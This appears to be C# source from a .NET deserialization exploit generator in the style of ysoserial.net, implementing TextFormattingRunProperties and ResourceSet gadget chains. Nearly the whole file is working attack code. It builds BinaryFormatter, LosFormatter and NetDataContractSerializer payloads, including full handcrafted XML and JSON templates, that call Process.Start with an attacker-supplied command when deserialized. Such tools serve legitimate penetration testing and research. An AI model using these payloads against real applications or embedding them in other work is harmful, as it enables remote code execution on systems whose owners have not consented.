public static object TextFormattingRunPropertiesGadget(InputArgs inputArgs) { ObjectDataProviderGenerator myObjectDataProviderGenerator = new ObjectDataProviderGenerator(); string xaml_payload = myObjectDataProviderGenerator.GenerateWithNoTest("xaml", inputArgs).ToString(); if (inputArgs.Minify) { xaml_payload = XMLMinifier.Minify(xaml_payload, null, null); } TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload); return(payload); }
public override object Generate(string formatter, InputArgs inputArgs) { /* * // This is how ResourceSet can be used directly but the payload would fire! * object generatedPayload = TypeConfuseDelegateGenerator.TypeConfuseDelegateGadget(inputArgs); * * using (ResourceWriter rw = new ResourceWriter(@".\ResourceSetGenerator.resources")) * { * rw.AddResource("", generatedPayload); * rw.Generate(); * rw.Close(); * } * * // Payload will be executed once here which is annoying but without surgical insertion or something to parse binaryformatter objects, it is quite hard to prevent this * ResourceSet myResourceSet = new ResourceSet(@".\ResourceSetGenerator.resources"); * * // TextFormattingRunPropertiesGenerator is the preferred method due to its short length. However, we need to insert it manually into a serialized object as ResourceSet cannot tolerate it * * //*/ //TestMore(inputArgs); if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase)) { string payload = ""; // This to prevent code execution when running byte[] bfSerializedObj; if (internalgadget == 1) { // This is an example of using SimpleBinaryFormatterParser // string obj25Type = "", obj25Value = "", obj26Value = ""; byte[] cmdFile7bitLV = SimpleBinaryFormatterParser.Create7bitLengthObjectString(inputArgs.CmdFileName); byte[] obj26ValueObjId = new byte[] { 0x0c, 0, 0, 0 }; obj26Value = Convert.ToBase64String(SimpleBinaryFormatterParser.ConcatTwoByteArrays(obj26ValueObjId, cmdFile7bitLV)); if (inputArgs.HasArguments) { byte[] obj25TypeByte = new byte[] { 0x06 }; byte[] obj25ValueObjId = new byte[] { 0x0b, 0, 0, 0 }; byte[] cmdArgs7bitLV = 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bfSerializedObj = SimpleBinaryFormatterParser.JsonToStream(payload).ToArray(); } else { // This is an example of using AdvancedBinaryFormatterParser which is recommended over SimpleBinaryFormatterParser but it is much longer // In this gadget however, this feels like cheating as System.Resources.ResourceSet can be replaced by anything given the TextFormattingRunProperties gadget triggers first ObjectDataProviderGenerator myObjectDataProviderGenerator = new ObjectDataProviderGenerator(); string xaml_payload = myObjectDataProviderGenerator.GenerateWithNoTest("xaml", inputArgs).ToString(); if (inputArgs.Minify) { xaml_payload = XMLMinifier.Minify(xaml_payload, null, null); } xaml_payload = CommandArgSplitter.JsonStringEscape(xaml_payload); // This payload has been minified manually too by removing some of the unnecessary items! payload = @"[{'Id': 1, 'Data': { '$type': 'SerializationHeaderRecord', 'binaryFormatterMajorVersion': 1, 'binaryFormatterMinorVersion': 0, 'binaryHeaderEnum': 0, 'topId': 1, 'headerId': -1, 'majorVersion': 1, 'minorVersion': 0 }},{'Id': 2, 'TypeName': 'ObjectWithMapTyped', 'Data': { '$type': 'BinaryObjectWithMapTyped', 'binaryHeaderEnum': 4, 'objectId': 1, 'name': 'System.Resources.ResourceSet', 'numMembers': 2, 'memberNames':['',''], 'binaryTypeEnumA':[3,3], 'typeInformationA':[null,null], 'typeInformationB':['',''], 'memberAssemIds':[0,0], 'assemId': 0 }},{'Id': 3, 'TypeName': 'MemberReference', 'Data': { '$type': 'MemberReference', 'idRef': 2 }},{'Id': 4, 'TypeName': 'ObjectNull', 'Data': { '$type': 'ObjectNull', 'nullCount': 1 }},{'Id': 5, 'TypeName': 'ObjectWithMapTyped', 'Data': { '$type': 'BinaryObjectWithMapTyped', 'binaryHeaderEnum': 4, 'objectId': 2, 'name': 'System.Collections.Hashtable', 'numMembers': 5, 'memberNames':['LoadFactor','Version','Comparer','','HashSize'], 'binaryTypeEnumA':[0,0,3,3,0], 'typeInformationA':[11,8,null,null,8], 'typeInformationB':[11,8,'','',8], 'memberAssemIds':[0,0,0,0,0], 'assemId': 0 }},{'Id': 6, 'TypeName': 'Single', 'IsPrimitive': true, 'Data': { '$type': 'MemberPrimitiveUnTyped', 'typeInformation': 11, 'value': 0 }},{'Id': 7, 'TypeName': 'Int32', 'IsPrimitive': true, 'Data': { '$type': 'MemberPrimitiveUnTyped', 'typeInformation': 8, 'value': 1 }},{'Id': 8, 'TypeName': 'ObjectNull', 'Data': { '$type': 'ObjectNull', 'nullCount': 1 }},{'Id': 9, 'TypeName': 'ObjectNull', 'Data': { '$type': 'ObjectNull', 'nullCount': 1 }},{'Id': 10, 'TypeName': 'Int32', 'IsPrimitive': true, 'Data': { '$type': 'MemberPrimitiveUnTyped', 'typeInformation': 8, 'value': 3 }},{'Id': 11, 'TypeName': 'Assembly', 'Data': { '$type': 'BinaryAssembly', 'assemId': 7, 'assemblyString': 'Microsoft.PowerShell.Editor' }},{'Id': 12, 'TypeName': 'ObjectWithMapTypedAssemId', 'Data': { '$type': 'BinaryObjectWithMapTyped', 'binaryHeaderEnum': 5, 'objectId': 6, 'name': 'Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties', 'numMembers': 1, 'memberNames':['ForegroundBrush'], 'binaryTypeEnumA':[1], 'typeInformationA':[null], 'typeInformationB':[null], 'memberAssemIds':[0], 'assemId': 7 }},{'Id': 13, 'TypeName': 'ObjectString', 'Data': { '$type': 'BinaryObjectString', 'objectId': 8, 'value': '" + xaml_payload + @"' }},{'Id': 14, 'TypeName': 'MessageEnd', 'Data': { '$type': 'MessageEnd' }}]"; bfSerializedObj = AdvancedBinaryFormatterParser.JsonToStream(payload).ToArray(); } if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase)) { if (inputArgs.Test) { try { MemoryStream ms = new MemoryStream(bfSerializedObj); ms.Position = 0; System.Runtime.Serialization.Formatters.Binary.BinaryFormatter bf = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); bf.Deserialize(ms); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(bfSerializedObj); } else { // it is LosFormatter byte[] lfSerializedObj = SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(bfSerializedObj); MemoryStream ms = new MemoryStream(lfSerializedObj); ms.Position = 0; if (inputArgs.Test) { try { System.Web.UI.LosFormatter lf = new System.Web.UI.LosFormatter(); lf.Deserialize(ms); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(lfSerializedObj); } //return Serialize(myResourceSet, formatter, inputArgs); } else if (formatter.Equals("netdatacontractserializer", StringComparison.OrdinalIgnoreCase)) { inputArgs.CmdType = CommandArgSplitter.CommandType.XML; string ndcPayload = ""; if (internalgadget == 1) { string cmdPart = ""; if (inputArgs.HasArguments) { cmdPart = "<c:string>" + inputArgs.CmdArguments + "</c:string><c:string>" + inputArgs.CmdFileName + "</c:string>"; } else { cmdPart = @"<c:string a:nil=""true""/><c:string>" + inputArgs.CmdFileName + "</c:string>"; } ndcPayload = @"<w b:Type=""System.Resources.ResourceSet"" b:Assembly=""0"" xmlns=""http://schemas.datacontract.org/2004/07/System.Resources"" xmlns:a=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/""><Table b:Type=""System.Collections.Hashtable"" b:Assembly=""0"" xmlns:c=""http://schemas.microsoft.com/2003/10/Serialization/Arrays""><LoadFactor b:Type=""System.Single"" b:Assembly=""0"" xmlns="""">0</LoadFactor><Version b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">1</Version><HashSize b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">3</HashSize><Values b:Type=""System.Object[]"" b:Assembly=""0"" b:Size=""1"" xmlns=""""><c:anyType b:Type=""System.Collections.Generic.SortedSet`1[[System.String,mscorlib]]"" b:Assembly=""System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089""><Count b:Type=""System.Int32"" b:Assembly=""0"">2</Count><Comparer b:Type=""System.Collections.Generic.ComparisonComparer`1[[System.String,mscorlib]]"" b:Assembly=""0""><_comparison b:FactoryType=""d:DelegateSerializationHolder"" b:Type=""System.DelegateSerializationHolder"" b:Assembly=""0"" xmlns=""http://schemas.datacontract.org/2004/07/System.Collections.Generic"" xmlns:d=""http://schemas.datacontract.org/2004/07/System""><Delegate b:Type=""System.DelegateSerializationHolder+DelegateEntry"" b:Assembly=""0"" xmlns=""""><d:assembly b:Id=""1"">mscorlib</d:assembly><d:delegateEntry><d:assembly b:Ref=""1"" a:nil=""1""/><d:delegateEntry a:nil=""1""/><d:methodName b:Id=""2"">Compare</d:methodName><d:target a:nil=""1""/><d:targetTypeAssembly b:Ref=""1"" a:nil=""1""/><d:targetTypeName b:Id=""3"">System.String</d:targetTypeName><d:type>System.Comparison`1[[System.String,mscorlib]]</d:type></d:delegateEntry><d:methodName b:Id=""4"">Start</d:methodName><d:target a:nil=""1""/><d:targetTypeAssembly b:Id=""5"">System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089</d:targetTypeAssembly><d:targetTypeName b:Id=""6"">System.Diagnostics.Process</d:targetTypeName><d:type>System.Func`3[[System.String,mscorlib],[System.String,mscorlib],[System.Diagnostics.Process,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089]]</d:type></Delegate><method0 b:FactoryType=""e:MemberInfoSerializationHolder"" b:Type=""System.Reflection.MemberInfoSerializationHolder"" b:Assembly=""0"" xmlns=""""><Name b:Ref=""4"" a:nil=""1""/><AssemblyName b:Ref=""5"" a:nil=""1""/><ClassName b:Ref=""6"" a:nil=""1""/><Signature b:Type=""System.String"" b:Assembly=""0"">System.Diagnostics.Process Start(System.String, System.String)</Signature><MemberType b:Type=""System.Int32"" b:Assembly=""0"">8</MemberType><GenericArguments a:nil=""1""/></method0><method1 b:FactoryType=""e:MemberInfoSerializationHolder"" b:Type=""System.Reflection.MemberInfoSerializationHolder"" b:Assembly=""0"" xmlns=""""><Name b:Ref=""2"" a:nil=""1""/><AssemblyName b:Ref=""1"" a:nil=""1""/><ClassName b:Ref=""3"" a:nil=""1""/><Signature b:Type=""System.String"" b:Assembly=""0"">Int32 Compare(System.String, System.String)</Signature><MemberType b:Type=""System.Int32"" b:Assembly=""0"">8</MemberType></method1></_comparison></Comparer><Version b:Type=""System.Int32"" b:Assembly=""0"">2</Version><Items b:Type=""System.String[]"" b:Assembly=""0"" b:Size=""2"">" + cmdPart + @"</Items></c:anyType></Values></Table></w>"; } else { ObjectDataProviderGenerator myObjectDataProviderGenerator = new ObjectDataProviderGenerator(); string xaml_payload = myObjectDataProviderGenerator.GenerateWithNoTest("xaml", inputArgs).ToString(); if (inputArgs.Minify) { xaml_payload = XMLMinifier.Minify(xaml_payload, null, null); } ndcPayload = @"<w b:Type=""System.Resources.ResourceSet"" b:Assembly=""0"" xmlns=""http://schemas.datacontract.org/2004/07/System.Resources"" xmlns:a=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/""><Table b:Type=""System.Collections.Hashtable"" b:Assembly=""0"" xmlns:c=""http://schemas.microsoft.com/2003/10/Serialization/Arrays""><LoadFactor b:Type=""System.Single"" b:Assembly=""0"" xmlns="""">0</LoadFactor><Version b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">1</Version><HashSize b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">3</HashSize><Values b:Type=""System.Object[]"" b:Assembly=""0"" b:Size=""1"" xmlns=""""><c:anyType b:Type=""Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"" b:Assembly=""Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35""><ForegroundBrush b:Type=""System.String"" b:Assembly=""0""><![CDATA[" + xaml_payload + @"]]></ForegroundBrush></c:anyType></Values></Table></w>"; //</Values></Table></w> can also be removed to make it even shorter! Why? IDK atm! } if (inputArgs.Minify) { if (inputArgs.UseSimpleType) { ndcPayload = XMLMinifier.Minify(ndcPayload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, new string[] { "</Values></Table></w>" }, FormatterType.NetDataContractXML, true); } else { ndcPayload = XMLMinifier.Minify(ndcPayload, null, new string[] { "</Values></Table></w>" }, FormatterType.NetDataContractXML, true); } } if (inputArgs.Test) { try { SerializersHelper.NetDataContractSerializer_deserialize(ndcPayload); /* * MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(ndcPayload)); * ms.Position = 0; * ndcs.Deserialize(ms); */ } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(ndcPayload); //return Serialize(myResourceSet, formatter, inputArgs); } else { throw new Exception("Formatter not supported"); } }